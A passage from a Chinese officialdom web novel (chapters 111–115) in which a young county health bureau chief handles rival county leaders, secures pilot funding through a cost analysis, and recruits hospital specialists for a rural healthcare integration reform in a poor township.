这既是表达了对县委的尊重,又给自己留下了巨大的操作空间。
张海涛脸上的笑容慢慢淡了下去。
他看着眼前的年轻人,那张看似无害的笑脸下,藏着一颗滴水不漏的心。
他想用一把手的权威去压制,却发现对方用一套无懈可击的“工作逻辑”,把他的力道全都化解于无形。
就像一拳打在了棉花上,有力使不出。
刘建民的额头已经渗出了冷汗。
他这才意识到自己和叶凡的段位,差得太远了。
办公室里陷入了长久的沉默,只有墙上的挂钟,在滴答作响。
许久,张海涛才重新端起了已经有些凉了的茶杯。
“呵呵,说得好,说得很好。”他的声音里,已经听不出喜怒,“年轻人有想法,有干劲,是好事。那就按你说的办,先治病,再调整。”
他话锋一转,语气变得意味深长:“不过,小叶啊,你也要记住。医生治病,要讲科学,但也要讲大局。有时候,治病的方案,也要符合医院的整体发展方向嘛。”
这是一句敲打,也是一句警告。
你再能干,也得听指挥,也得在我的“大局”里干。
“张**教诲的是,我一定牢记在心。”叶凡站起身,恰到好处地表现出了一丝“受教”的谦恭。
“行了,你去忙吧。医疗改革,县委是全力支持的,有什么困难,随时可以来找我。”张海涛挥了挥手。
“谢谢张**,那我先告辞了。”
叶凡转身,离开了办公室。
在他身后,张海涛看着他的背影,眼神变得无比深邃。
而刘建民则像是被抽干了力气,瘫软地靠在门框上,后背的衬衫早已被冷汗湿透。
走出县委大楼,叶凡长长地呼出了一口气。
阳光刺眼,他却觉得背后有一股凉意。
他知道,自己今天算是把这位县委**给得罪了。
虽然对方没有发作,但那最后一番话,已经表明了态度。
自己这把“刀”太快,太有自己的想法,已经引起了持刀人的警惕。
他拿出手机,正想给**汇报一下情况,一个电话却抢先打了进来。
是**的秘书。
“叶局长,县长请您现在马上过来一趟。”
第112章 一颗甜枣,一把快刀!
县长办公室的门是开着的。
**没在地图前,也没在办公桌后,他就坐在待客的沙发上,手里端着一个硕大的白瓷茶缸,上面印着“为人民服务”五个红字,正呼呼地吹着热气。
这场景,和刚才张海涛那套行云流水的功夫茶比起来,一个像是街边热火朝天的大排档,一个像是曲高和寡的私房菜馆。
“坐。”**头也没抬,用下巴指了指对面的沙发。
叶凡依言坐下,办公室里除了他俩,再无旁人。
“茶喝得怎么样?”**呷了一口茶,声音不大,却像一颗石子投进静水。
“大红袍,是好茶。”叶凡如实回答。
“好茶,有时候也烧心。”李建公放下茶缸,瓷器和玻璃茶几发出一声轻响。他终于抬起眼,目光像探照灯一样,直直地射过来,“他跟你说什么了?”
没有铺垫,没有寒暄,开门见山。
叶凡知道,这既是问询,也是考验。
他把自己和张海涛的对话,一五一十,原原本本地复述了一遍。
没有添油加醋,也没有刻意省略,包括张海涛如何夸奖,如何提议让刘建民当副手,也包括自己如何用“抢救病人”的比喻把事情挡了回去。
他讲得很平静,像是在汇报一台手术的经过。
**一直没说话,只是静静地听着,手指无意识地在沙发扶手上敲击着,发出沉闷的咚咚声。
直到叶凡说完,他才突然笑了。
不是张海涛那种和煦的、意味深长的笑,而是发自内心的、带着几分快意的笑。
“哈哈!说得好!”**一拍大腿,“什么**‘医院的整体发展方向’?医院最大的发展方向,就是治病救人!你这个比喻,打得好,打得妙!”
他站起身,在办公室里走了两步,显得心情极好。
“你小子,我还以为你会被他那套温水煮青蛙的把戏给绕进去。没想到,你比我想的还要硬,还要滑。”**转身看着叶凡,眼神里满是欣赏,“你顶回去的,不止是刘建民,是张海涛伸过来的一只手。你保住的,也不止是你的位子,是咱们干事创业的一块阵地!”
这番话说得极为直白,也等于是彻底向叶凡交了底。
“你放心,”**坐回沙发,身体前倾,声音压低了几分,“你那个‘代’字,我会在下一次**会上提议去掉。你这场听证会,办得全县瞩目,这个节骨眼上,他张海涛就算心里不痛快,也不敢在明面上拦着。这颗甜枣,你吃定了!”
叶凡心中一热。
官场之上,最怕的就是含糊不清。
**这番话,无疑是给了他一颗最实在的定心丸。
“谢谢县长信任。”
“别谢我,这是你自己挣来的。”**摆了摆手,“我用人,只有一个标准,就是能办事,办成事。你既然能把捅到天上的窟窿都给我漂漂亮亮地补上,那我这当县长的,就得给你递上更好的针线。”
他话锋一转,眼神变得锐利起来。
“甜枣给你了,现在,我还要再给你一把刀。”
叶凡的心提了起来,他知道,正戏来了。
**从茶几下拿出一份文件,递给叶凡。
封面上,赫然写着《关于在全县推行“城乡医疗一体化”改革的初步构想》。
“马德龙在的时候,县里的医疗资源,全堆在县医院和中医院。乡镇卫生院,要人没人,要设备没设备,老百姓看个感冒都得跑几十里山路进城。小病拖成大病,大病直接要命。”**的声音沉了下来,“这种局面,必须改变。”
“我的想法是,成立一个由你牵头的‘城乡医疗一体化改革领导小组’,你来当这个组长。卫生局、财政局、人事局、发改委,相关单位的头头,都给你当组员。人、财、物,给你充分的自**!”
“我要你做的,就是用两年的时间,把县医院和乡镇卫生院,拧成一股绳。县里的专家要定期下乡坐诊,乡镇的医生要分批进城培训。建立双向转诊绿色通道,统一药品采购,共享信息平台。我要让青川县的老百姓,在家门口,就能看得上病,看得好病!”
叶凡快速翻阅着文件,越看心跳越快。
这份构想,何其大胆!
这已经不是小修小补,这是一场刮骨疗毒式的系统性**。
它要打破的是盘根错错节了几十年的部门壁垒、利益格局和人事关系。
财政局愿意为乡镇卫生院掏钱吗?人事局愿意把优秀的医生编制下放到乡镇吗?县医院的专家们愿意放弃安逸,跑去穷乡僻壤吗?
每一个问题,都是一座大山。
而**现在就是让叶凡去当那个移山倒海的愚公。
这把刀,太快,太利,但也太重。
握在手里,是权力,也是足以割伤自己的风险。
“县长,这个摊子,太大了。”叶凡没有掩饰自己的顾虑。
“不大,我能让你来干?”**反问,“我就是要找一个敢掀桌子的人,来破这个局。张海涛他们那一套,讲究的是平衡,是稳定,说白了,就是维持现状,你好我好大家好。但老百姓的日子,不会因为维持现状就好起来
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他看着叶凡,目光灼灼:“我把这把刀交给你,就是让你去披荆斩棘的。过程中,你得罪的人,捅的马蜂窝,我来替你扛着。我只要一个结果。”
“我明白了。”叶凡合上文件,郑重地放在膝上。
他知道,自己没有退路。
从他踏进青川县的那一刻起,他就被卷入了这场洪流。
要么随波逐流,要么,就成为那个能改变水流方向的人。
“放手去干吧。”**站起身,重新走回那幅地图前,背对着叶凡,挥了挥手。
叶凡起身,深深地看了一眼那个不算高大、却异常坚定的背影,转身离开了办公室。
……
走出县政府大楼,叶凡感觉像是打了一场硬仗。
先是和张海涛的太极推手,再是和**的开诚布公。
一推一拉之间,他这个小小的卫生局长已经被牢牢地绑在了青川县两股最强力量博弈的战车上。
他拿出手机,给苏沐秋发了条信息。
“茶喝完了,有点苦,但回甘不错。”
信息刚发出去,苏沐秋的电话就打了过来。
“看来李县长不止让你回甘,还给你加了块糖吧?”苏沐秋的声音带着笑意,显然,她的消息同样灵通。
“何止是糖,还塞给我一把手术刀,让我去解剖一个全身都是并发症的病人。”叶凡靠在路边的一棵梧桐树下,声音里带着一丝自嘲。
“那可得小心点,别划着手。”电话那头的声音,多了几分认真。
“放心,我是专业医生。”叶凡笑了笑,挂了电话。
回到卫生局,刚进大门,就看到王功、秦朗、李莉几个人正聚在公告栏前,像是在等他。
“叶局!”王功一看到他,就颠颠地跑了过来,脸上笑成了一朵菊花,“我就知道,您出马,一个顶俩!县政府那边的朋友都传遍了,说李县长对您赞不绝口,要把您头上的‘代’字给摘了!”
秦朗推了推眼镜,眼神里也满是激动和信服。
“行了,八字还没一撇的事。”叶凡摆了摆手,但看到众人脸上那股发自内心的振奋,他的心里也涌起一股暖流。
这是一支他亲手点燃了火种的队伍。
他清了清嗓子,对着几人说:“都别在这儿待着了。秦科长,王主任,还有相关科室的负责人,半小时后,到我办公室开个短会。”
他的目光扫过众人,声音沉稳而有力。
“我们接下来的工作,不是烧三把火了。”
“我们要做的,是在青川县,建一座全新的‘医院’。”
第113章 新官上任,第一刀砍向钱袋子!
卫生局二楼的小会议室里,空气有些凝固。
王功、秦朗、李莉、陈杰,叶凡的几个核心骨干,人手一份刚刚打印出来还带着温度的文件,表情各异。
文件**,只有寥寥几页,但标题却像一块巨石,砸得每个人心里都掀起了波澜——《关于在全县推行“城乡医疗一体化”改革的初步构想》。
“我的娘唉……”王功最先打破了沉默,他摘下老花镜,使劲揉了揉眼睛,又戴上,把那几页纸翻来覆去地看,仿佛想从字里行间找出个错别字来证明自己眼花了,“叶局,这……这是要把天捅个窟窿啊?”
秦朗的反应则完全不同,他扶着眼镜,一目十行地看完,双手都因为激动而微微颤抖。
作为局里最懂业务的技术官僚,他一眼就看出了这份构想的**性。
“叶局!如果……如果这个方案能推行下去,青川县的医疗水平至少能向前迈进十年!这是功在当代,利在千秋的大好事!”
但激动过后,他脸上的光又迅速黯淡下去,化为深深的忧虑:“可是,这太难了。财政、人事、编制……这每一个都是一座大山。还有县医院那帮专家,哪个不是爷?让他们下乡?比杀了他们还难受。”
李莉和陈杰两个年轻人则完全是崇拜和兴奋。
在他们眼里,叶凡局长似乎就没有办不成的事。
叶凡静静地听着,没有打断他们。
他要的就是这种反应,先是震惊,然后是激动,最后是回归现实的冷静。
“王主任说得对,这事就是捅破天。秦科长也说得对,这事难如登山。”叶凡的手指在桌上轻轻敲击着,“但天上的窟窿,我们已经补过一次了。山再高,只要找到路,总能爬上去。”
他环视一圈,目光最后落在王功身上:“王主任,你是在局里待得最久的老同志,你跟我交个底,咱们卫生局想干事,第一道坎,在哪?”
王功苦笑一声,伸出一根手指,在空中虚虚地画了个圈:“钱。”
一个字,道尽了所有基层单位的辛酸。
“没错,就是钱。”叶凡站起身,“所以,我们这第一刀,就要砍向全县最难砍的地方——县财政局的钱袋子。”
会议室里瞬间安静下来。
如果说刚才的改革构想是捅破天,那现在要去财政局要钱,就是想从阎王爷手里抢食吃。
“财政局那位钱局长,钱开明,可不是善茬。”王功咂了咂嘴,面露难色,“外号‘**’,一分钱都恨不得掰成两半花。而且我听说,他跟县委张**那边,走得比较近。咱们就这么空口白牙地去,怕是连门都进不去。”
“谁说我们空口白牙去?”叶凡笑了笑,转向秦朗,“秦科长,我需要你,在今天下班前,把近三年全县医保基金的支出明细,特别是针对高血压、糖尿病等慢性病的晚期并发症治疗费用,以及各乡镇卫生院的药品、设备采购清单,全部整理出来。数据越详细越好。”
秦朗虽然不解,但还是立刻点头:“没问题,我马上去办!”
“王主任,”叶凡又看向王功,“你帮我约一下钱局长,就说新来的卫生局长想拜拜码头,跟他请教一下工作。”
“好,我这就去联系。”王功心里直打鼓,但还是硬着头皮应了下来。
“散会。”
看着众人离去的背影,叶凡走到窗边,望着远方那栋比卫生局气派不少的财政局大楼,眼神锐利。
他不是去要钱的。
他是去给钱开明,看病的。
……
第二天上午,县财政局。
局长钱开明的办公室里,一如他本人的风格,简洁、冰冷,充满了数字和规章制度的味道。
“哎呀,叶局长,年轻有为,年轻有为啊!”钱开明挺着微凸的肚子,满脸笑容地迎了上来,热情得倒让跟在叶凡身后的秦朗有些无所适从。
这笑容,王功在来的路上就跟叶凡科普过,是钱开明的招牌——“笑面虎”,笑得越灿烂,事就越难办。
“钱局长客气了,我是来学习的。”叶凡不卑不亢地伸出手,和他握了握。
分宾主落座,没有功夫茶,就是招待所最常见的玻璃杯,泡着几根茶叶,在水里沉沉浮浮。
寒暄了几句场面话,钱开明便笑呵呵地把话题引向了正轨:“叶局长啊,你那场听证会,可是给我们全县干部都上了一课啊!有魄力,有水平!卫生局在你手上,肯定能焕然一新!”
“钱局长过奖了。”叶凡放下茶杯,“我今天来,除了拜访您这位‘财神爷’,主要还是想为我们卫生系统下一步的工作,讨个政策。”
“哦?”钱开明眉毛一挑,身体不动声色地向后靠了靠,做出了一个防御的姿态,“但说无妨。”
秦朗紧张地打开公文包,就想把那份改革构想递过去,却被叶凡用眼神制止了。
“钱局长,您是全县的大管家,对咱们县的财政状况,比谁都清楚。”叶凡开口了,语气却不是请求,而是在陈述一个事实,“我就想问问您,去年咱们县医保基金,总共支出了多少?”
钱开明愣了一下,没想到他会问这个。这本不是什么秘密,他随口报了个数字:“一点八个亿。”
“那您知不知道,在这一亿八千**,有多少钱,是花在了本可以避免的‘冤枉钱’上?”
“冤枉钱?”钱开明脸上的笑容淡了些。
叶凡没有回答,而是从自己的包里,拿出了一份同样**的报告,递了过去。
封面上,标题赫然是——《青川县医疗财政健康状况诊断报告》。
钱开明接过报告,只看了一眼标题,心里就咯噔一下。
诊断报告?
他不是来要钱的?
他翻开第一页。
上面没有长篇大论的文字,而是一张清晰的图表。
“钱局长,您看这张图。”叶凡的声音很平静,像一个医生在给家属解释病情,“去年,我们县医院住院部共收治了因长期高血压导致中风、心梗的患者三百一十二名,因糖尿病导致肾衰竭、足坏死的患者一百八十九名。这些病人的平均住院天数是二十一天,平均治疗费用是三万二千元。光是这两项,医保基金就支付了接近一千六百万。”
钱开明看着图表上那个刺目的红色数字,眉头紧紧皱了起来。
“而这些病人里,百分之八十五来自医疗条件落后的乡镇。”叶凡继续说,“秦科长,你告诉钱局长,如果在乡镇卫生院,对一个高血压病人进行规范化的药物控制和健康管理,一年需要多少钱?”
身后的秦朗立刻回答:“如果使用最基础的国产降压药,加上定期的血压监测,一年不会超过五百块钱!”
叶凡的目光重新回到钱开明脸上:“钱局长,您算盘打得比我精。一边是三万二,一边是五百。一千六百万的治疗费和一个不到三百万的预防投入。这中间的一千三百万,是不是‘冤枉钱’?”
钱开明的额头渗出了一层细密的汗。
他想反驳,却发现无从下口。
叶凡没有跟他谈理想,谈民生,谈那些虚无缥缈的东西,而是在跟他算一笔最实在的经济账。
“这还只是两个病种。”叶凡翻开报告的第二页,“这是我们县各乡镇卫生院的常用药采购清单。因为采购量小,渠道分散,我们很多常用药的进价比市里的大医院,要高出百分之十五到二十。老百姓看病贵,医保花钱多,钱都让中间商赚走了。如果由我们卫生局牵头,进行统一采购、统一配送
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,每年至少能省下三百万的药品采购费用。”
“还有这个,设备。乡镇卫生院缺设备,小病当大病治,或者干脆治不了。县医院设备好,但很多都处于半闲置状态。如果资源共享,人员流动,把钱用在刀刃上……”
叶凡没有再说下去,他只是把那份“诊断报告”推到了钱开明面前。
办公室里,死一般的寂静。
秦朗已经看呆了。
他现在才明白,叶凡让他准备那些枯燥的数据,是要干什么。
他不是在写报告,他是在磨刀。
一把精准、锋利、专门用来解剖财政局这只“铁公鸡”的手术刀。
钱开明看着桌上那份报告,感觉无比烫手。
他纵横官场几十年,迎来送往,应付了无数来要钱的干部。
他有无数种办法把人挡回去——哭穷、拖延、踢皮球……
但今天,这些办法,一个都用不上。
因为叶凡根本不是在“要”,他是在“给”。
他在给钱开明一个机会,一个堵住财政漏洞,为全县省下一大笔钱的机会。
如果他拒绝,就等于承认自己这个“财神爷”昏聩无能,眼睁睁看着县里的钱白白流走。
许久,钱开明才长长地吐出一口气,他拿起那份报告,重新看了一遍,脸上的笑容又一次浮现出来,只是这一次,少了几分敷衍,多了几分复杂。
“叶局长……你这份报告,很有水平,很有深度啊。”他干巴巴地说,“你……你让我想起了我们刚参加工作那会儿,也是这么一股子钻研的劲头。”
他把报告小心翼翼地合上,放在桌角。
“你这个城乡医疗一体化的想法,方向是好的,是利县利民的大好事。不过,牵涉面太广,一下子铺开,步子太大,容易出问题。”钱开明沉吟着,手指在桌上敲了敲,“这样吧,原则上,县财政是支持的。但是饭要一口一口吃,路要一步一步走。我建议,先拿一到两个乡镇,作为试点。”
他看着叶凡,似乎在征求他的意见。
“就依钱局长所言。”叶凡知道,这已经是能争取到的最好结果。
“好!痛快!”钱开明像是下定了决心,“这样,我先从局长预备金里,给你们批五十万,作为试点启动资金。后续需要什么,你们做出详细的预算,我们再开会研究。你看怎么样?”
五十万!虽然不多,但这是从**的牙缝里硬生生抠出来的第一笔钱!
“谢谢钱局长支持!”叶凡站起身,再次伸出了手。
这一次,钱开明握得很紧。
……
走出财政局大楼,秦朗跟在叶凡身后,整个人还像是踩在云端,晕乎乎的。
“局长,您……您这……这就成了?”他结结巴巴地问,语气里充满了不可思议,“我准备了一肚子的话,想跟他们掰扯专业问题,结果一句都没用上。”
“跟财务人员谈专业,那是对牛弹琴。”叶凡走在阳光下,心情不错,“你得跟他谈钱,谈投入产出比。他才能听得懂,也才能坐下来跟你谈。”
秦朗看着叶凡的侧脸,心悦诚服。
这位年轻的局长脑子里装的哪里是什么官场权谋,分明就是一本本精准的人体解剖图。
他总能找到最关键的“病灶”,然后用最直接有效的方式,一刀切下去。
“叮铃铃!”
就在这时,叶凡的手机响了。
是苏沐秋。
“叶大局长,听说你今天去闯‘财神殿’了?”电话那头的声音带着一丝调侃的笑意,“怎么样,是抱回了金元宝,还是只捡了一把算盘珠子?”
叶凡抬头看了看天,笑了。
“金元宝没抱回来,”他说,“但我让他相信了,跟着我,能挖到金矿。”
第114章 试点启动,最硬的骨头!
五十万启动资金到位的消息,像一阵春风,瞬间吹遍了卫生局的每个角落。
昨天还死气沉沉的大院,今天连看门大爷的腰杆都挺直了几分。
人们看叶凡的眼神,彻底变了。
如果说听证会是立威,那从“**”钱开明手里抠出钱来,就是实打实的神迹。
这代表着,新来的叶局长,不仅敢办事,而且真能办成事。
小会议室里,叶凡的核心团队再次聚齐。
王功的茶缸里泡上了他珍藏的龙井,秦朗的笔记本翻开了崭新的一页,所有人的脸上都写着兴奋和期待。
“钱到位了,接下来就是做事。”叶凡开门见山,“我们的‘城乡医疗一体化’改革,要选一个乡镇作为试点。大家有什么想法?”
“那还用说?”王功一拍大腿,“柿子要挑软的捏!我看城关镇就不错,离县城近,基础好,人口多,容易出成绩。只要把城关镇的模式做出来,往其他乡镇复制就行了!”
这话得到了几个科室负责人的普遍赞同。
城关镇是县长**起家的地方,去那里搞试点,阻力小,还能讨领导欢心,一举两得。
秦朗推了推眼镜,提出了不同意见:“我倒觉得要做,就得做出典型。城关镇的成功,说服力不强。别人会说那是它底子好,换谁去都行。我们应该选一个中等条件的乡镇,比如三河镇,这样总结出来的经验才更有推广价值。”
叶凡听着众人的讨论,没有表态,目光落在了墙上的青川县地图上。
他的手指,越过富庶的城关镇,越过中庸的三河镇,最后,落在了最偏远、最不起眼的一个角落。
“我们的试点,就选青山镇。”
话音一落,会议室里瞬间安静下来。
王功的嘴巴张成了“O”型,手里的茶缸差点掉地上:“叶……叶局,您没开玩笑吧?青山镇?那是什么地方?全县最穷、最远、路最烂的‘锅底镇’!那里的卫生院就一栋破楼,还有几个快退休的老大夫,连听诊器都是坏的!咱们这五十万扔进去,怕是连个响都听不见啊!”
“是啊,叶局,”秦朗也急了,“这……这风险太大了!试点要是失败了,我们之前所有的努力就全白费了!到时候别说推广,我们整个卫生局都会成为全县的笑柄!”
“我就是要选最难的。”叶凡的声音不大,却带着不容置疑的坚定。他转过身,看着众人,“医生治病,最能体现水平的,不是治好一个普通感冒,而是抢救一个垂危的重症病人。我们的改革也是一样。”
他走到地图前,手指重重地点在“青山镇”三个字上。
“如果我们能让青山镇这种‘重症病人’,重新站起来。那全县还有哪个乡镇,我们治不好?到时候,谁还敢质疑我们的方案?这第一仗,要么不打,要打,就要打成一个谁也无法复制的经典战役!”
一番话,掷地有声。
会议室里,刚才还充满疑虑的众人,此刻眼里都燃起了火。
他们看着叶凡,仿佛看到一个顶尖的外科医生正准备挑战一台成功率不足百分之十的顶级手术。
风险巨大,但一旦成功,便是名动天下。
“好!我明白了!”秦朗第一个站了起来,扶了扶眼镜,镜片后的目光前所未有的明亮,“我这就去整理青山镇的所有资料,重新制定试点方案!”
“娘的,干了!”王功把茶缸重重地往桌上一放,“叶局您指哪,我们打哪!不就是个锅底镇吗?豁出我这把老骨头,也得把这锅底给它烧热了!”
……
方案一定,接下来最关键的一步,就是人。
特别是县医院和中医院的专家们。
没有他们下乡,所谓的“医疗一体化”就是一句空话。
下午,卫生局行政楼的会议室里,气氛有些微妙。
叶凡坐在主位,左手边是县医院院长,右手边是中医院院长,底下,坐着两家医院十几个科室的主任。
这些人,个个都是青川县医疗界的“大拿”,平时走路都带风,此刻却都眼观鼻,鼻观心,一副老僧入定的模样。
“各位主任都是我们青川县的宝贵财富。”叶凡的开场白很客气,“今天请大家来,是想就‘城乡医疗一体化’试点工作,征求一下各位专家的意见。”
他把青山镇的试点方案,简明扼要地介绍了一遍。
核心内容就是,从下个月开始,两家医院的专家,要轮流下派到青山镇卫生院,进行为期一周的坐诊、带教。
话音刚落,一个不和谐的声音就响了起来。
“叶局长,您的想法是好的,为老百姓着想,我们都支持。”说话的是县医院外科主任孙兆龙,一个五十出头,头发梳得一丝不苟的男人。他是全县有名的“一把刀”,技术高,脾气也大。
“但是,”孙兆龙话锋一转,“我们外科,一共就五个主任医师,每天手术都排得满满当当。我这要是去乡下一个礼拜,科里就得停掉十几台手术,这个责任谁来负?”
“是啊,叶局,”内科主任也跟着叫苦,“我们科室床位常年爆满,一个萝卜一个坑。人手实在抽调不出来啊。”
“还有设备问题,”骨科主任摊了摊手,“青山镇连个X光机都没有,我们去了能干嘛?用眼睛看片子吗?这不是瞎胡闹嘛!”
一时间,会议室变成了诉苦大会。
理由五花八门,但核心思想就一个:我们很忙,我们很重要,我们去不了。
叶凡静静地听着,脸上看不出喜怒。
等所有人都说完了,他才笑了笑,那笑容,让在座的各位“大拿”心里都莫名地突了一下。
“孙主任,各位主任,大家说的都对。”叶凡开口了,语气出乎意料的温和,“各位都是我们青川医疗界的顶梁柱,让你们放下手头重要的工作,跑到穷乡僻壤去,确实是杀鸡用牛刀,是大材小用。”
众人一愣,没想到叶凡这么好说话。
“所以,”叶凡身体微微前倾,目光扫过全场,“我从来没打算让各位专家去‘扶贫’,去‘送温暖’。”
他顿了顿,抛出了一个重磅**。
“我是想邀请各位,去‘淘金’。”
淘金?
所有人都懵了,面面相觑,不知道这位年轻的局长葫芦里卖的什么药。
“各位主任,你们想过没有,你们的职业生涯,最大的瓶颈是什么?”叶凡不紧不慢地问。
孙兆龙皱了皱眉:“技术到了平台期,很难再有大的突破。”
内科主任叹了口气:“每天看的都是重复的病例,想写一篇高质量的论文,找个典型病例都难。”
“没错。”叶凡一拍桌子,“技术、科研,这才是限制各位更上一层楼的天花板!而我们青山镇的试点,就是要给大家提供一个打破天花板的锤子!”
他站起身,声音充满了蛊惑性。
“我们将把青山镇卫
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生院打造成全县,乃至全市第一个‘慢性病基层管理及疑难病症早期筛查研究基地’!”
“研究基地?”这个词,瞬间抓住了所有人的耳朵。
“孙主任,”叶凡看向孙兆龙,“你们外科每天做的都是胆结石、阑尾炎,你难道不想搞清楚,为什么我们县胆结石的发病率比周边县区高出十个百分点吗?它的病因和当地的饮食、水源有没有关系?这难道不是一个绝佳的科研课题吗?”
孙兆龙的眼睛亮了。
“王主任,”叶凡又转向内科主任,“你每天都在抢救心梗、脑梗的病人,你难道不想从源头抓起,研究一套针对农村高血压患者的早期干预方案吗?这个方案一旦成功,别说在市里,就是在省里,都是能拿出来评奖的成果!”
“还有你们骨科、妇产科、儿科……”叶凡的目光扫过每一个人,“青山镇就是一座未经开采的富矿!那里有最原始的病例数据,有最典型的地域性疾病样本。这些,都是你们坐在县医院的空调房里,永远也得不到的第一手资料!”
会议室里,呼吸声都变得粗重起来。
“我宣布,”叶凡的声音带着致命的诱惑,“凡是参与我们青山镇试点项目的专家,第一,你们在乡下坐诊的工作量将折算成双倍绩效。第二,你们在试点期间收集的数据、撰写的论文、申报的课题,卫生局将提供专项资金支持,并负责向上级推荐!第三,也是最重要的一点,年底的评优、晋升、以及市级、省级优秀专家的推荐名额,将从这个项目里,优先产生!”
“我把话放在这里,谁能从青山镇这座‘金矿’里,淘出真金来。我叶凡就算跑断了腿,也要亲自去市里、省里,把你们的名字,送到评审专家的桌子上!”
“我不是让你们去牺牲,我是给你们一条职业晋升的快车道!去不去,你们自己选。”
说完,叶凡坐了下来,端起茶杯,轻轻吹了吹热气,不再多说一个字。
整个会议室,死一般的寂静。
刚才还满腹牢骚的专家们此刻一个个双眼放光,脑子里飞速地盘算着。
去乡下吃一个礼拜的苦,换来一个实打实的科研课题,一篇分量十足的论文,一个优先晋升的机会……
这笔账,谁都会算。
这哪里是下乡扶贫?这分明是下乡镀金啊!
孙兆龙的喉结上下滚动了一下,他看着叶凡,眼神里充满了震惊和……一丝难以言说的敬畏。
这个年轻人,太可怕了。
他根本没用权力去压人,而是精准地抓住了他们这群技术官僚内心最深处的渴望——名和利。
他把一个苦差事,硬生生包装成了一个香饽饽。
他不是在下命令,他是在发福利。
谁要是不去,谁就是傻子。
“咳,”孙兆龙清了清嗓子,第一个站了起来,脸上堆起了热情的笑容,“叶局长,您说得太对了!支援基层医疗建设,是我们义不容辞的责任!我刚才那么说,是怕影响了科室的正常工作。既然局里考虑得这么周到,我们外科,坚决拥护局党委的决定!第一个名额,我亲自去!”
“我们内科也报名!”
“还有我们骨科!”
刚才还推三阻四的会议室,瞬间变成了热火朝天的报名现场。
叶凡看着眼前这戏剧性的一幕,嘴角勾起一抹不易察觉的微笑。
他知道,最硬的这块骨头,已经被他敲开了。
第115章 章 故地重回,物是人非!
通往青山镇的路,还是那条坑坑洼洼的水泥路。
一辆考斯特中巴车,载着县医院和中医院的第一批“淘金”专家,在山路上摇摇晃晃,像一片颠簸的树叶。
车里,县医院外科主任孙兆龙的脸比窗外的山路还要难看。
“我的腰……哎哟我的老腰!”他扶着座椅,感觉五脏六腑都快被颠移了位,“叶局长这是带我们去淘金,还是去西天取经?这路也太折磨人了!”
旁边内科的主任苦笑着附和:“老孙,忍忍吧。谁让咱们上了叶局长的‘贼船’呢。不过说真的,这路况,救护车开进来,病人没病死,都得先颠死。”
一车的大拿们,平日里在医院里都是说一不二的人物,此刻却像一群被拐卖的壮丁,满腹牢骚,却又带着一丝无可奈何的期待。
叶凡没和他们坐在一起。
他开着自己的车,跟在后面。
车窗外,熟悉的景物不断**。
那些曾经让他感到绝望和压抑的山峦,此刻在他眼里,却多了一份亲切。
这里,是他仕途医心的起点。
一个多小时后,车队终于驶入了青山镇。
镇政府门口,十几道身影早已等候多时。
为首的,正是青山镇的**钱国栋。
几个月不见,他似乎又苍老了一些,头发白了大半,但那双眼睛依旧像鹰一样锐利,透着一股洞悉世事的沉稳。
站在他身旁的是一个皮肤黝黑、身材微胖的中年男人,一脸局促又兴奋的笑容,正是青山镇卫生院的院长,李德海。
车门打开,叶凡第一个跳了下来。
“钱**!”他快步上前,伸出了双手。
钱国栋看着眼前这个身穿笔挺夹克,气度沉稳的年轻人,眼底浮现出由衷的笑意和欣慰。
他用力地握住叶凡的手,上下打量着,重重地拍了拍他的胳膊。
“好小子,出息了!”
千言万语,最后只汇成这五个字。
“没有您,我现在还不知道在哪儿待着呢。”叶凡的声音里带着真诚的感激。他永远忘不了当初是钱国栋如何力排众议,将他从泥潭里拉了出来。
“哎哟,叶局长!您可真是我们青山镇飞出去的**啊!”一旁的李德海凑了上来,满脸的褶子都笑开了花,“当初我就看出来了,您绝对不是池中之物!现在可好,当了大官,还不忘我们这穷山沟,真是我们青山镇的福气!”
“李院长,您可别这么说。”叶凡笑着转向他,“当初我在卫生院,多亏了您的照顾。要不是您顶着压力让我做那台手术,哪有今天。”
简单的一句话,让李德海激动得眼眶都红了。
他一个乡镇卫生院的小院长,何曾被县里的领导这么客气地对待过。
这时,考斯特上的专家们也陆陆续续下了车。
孙兆龙等人强忍着一路的颠簸,一下车就叉着腰,打量着这个传说中的“锅底镇”。
钱国栋没多寒暄,他知道叶凡的风格。
“走吧,先去卫生院看看,那才是我们的主战场。”
一行人浩浩荡荡地朝着卫生院走去。
当那栋熟悉的,只有一栋破楼的“卫生院”出现在众人眼前时,饶是有了心理准备,孙兆龙等人还是倒吸了一口凉气。
墙皮大片大片地剥落,露出里面斑驳的红砖。
窗户上的玻璃,有一半都用报纸糊着。
门口那块写着“青山镇卫生院”的木牌,油漆都快掉光了,歪歪斜斜地挂着,仿佛随时都会掉下来。
一阵风吹过,卷起院子里的尘土和一股淡淡的消毒水混合着霉味的气息。
“就……就这?”孙兆龙的嘴巴张得能塞进一个鸡蛋,他下意识地拉了拉身边同事的袖子,压低了声音,“这地方……能治病?这他妈连我们医院的杂物间都不如啊!”
“在这里搞科研?我的天,叶局长不是在开玩笑吧?”
专家们的议论声虽小,却清晰地传到了每个人的耳朵里。
李德海的脸涨得通红,尴尬地搓着手,头都快埋到胸口里了。
钱国栋的脸色也有些不好看。
叶凡却仿佛没听见。
他看着眼前这栋破败的小楼,眼神里有感慨,有追忆。
就是在这里,他从一个心如死灰的弃子,完成了第一次蜕变。
那间简陋的手术室,那张冰冷的手术台,是他官场生涯的第一个手术台。
他转过身,面对着身后那些表情各异的专家们,脸上没有丝毫的窘迫,反而带着一丝微笑。
“各位主任,看到了吧?”他的声音平静而有力,“这就是我们的起点。很破,很烂,甚至可以说,一无所有。”
他顿了顿,目光扫过孙兆龙等人质疑的脸。
“但是,也正因为它一无所有,所以我们做的每一件事,哪怕只是换上一块新玻璃,刷上一遍新墙漆,都是从无到有的创造。”
“我叶凡今天把话放在这里,半年后,这里,将会成为全市乡镇卫生院的标杆!在座的各位都是创造这个历史的元勋!你们的名字会和这座新生的卫生院一起,刻在青川县医疗发展的功劳簿上!”
他的声音里带着一种不容置疑的自信和强大的感染力。
刚才还满腹牢骚的专家们,渐渐安静了下来
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。
他们看着叶凡,看着他那双亮得惊人的眼睛,心里的那点不屑和怨气不知不觉地被一种莫名的情绪取代了。
那是一种叫做“豪情”的东西。
简单的参观过后,一行人回到了镇政府的会议室。
钱国栋亲自主持了欢迎会,他的发言很短,却分量极重。
“各位专家,各位同志。我钱国栋在青山镇干了半辈子,再有不到三年,就要退休回家抱孙子了。”他环视全场,目光最后落在叶凡身上,“我这辈子,没做出什么惊天动地的大事,心里一直有愧。总想着,退休前,能给镇里的老少爷们,再办一件实实在在的好事。”
“现在,叶凡叶局长把这个天大的机会,送到了我们青山镇的家门口。我今天就在这里表个态!”
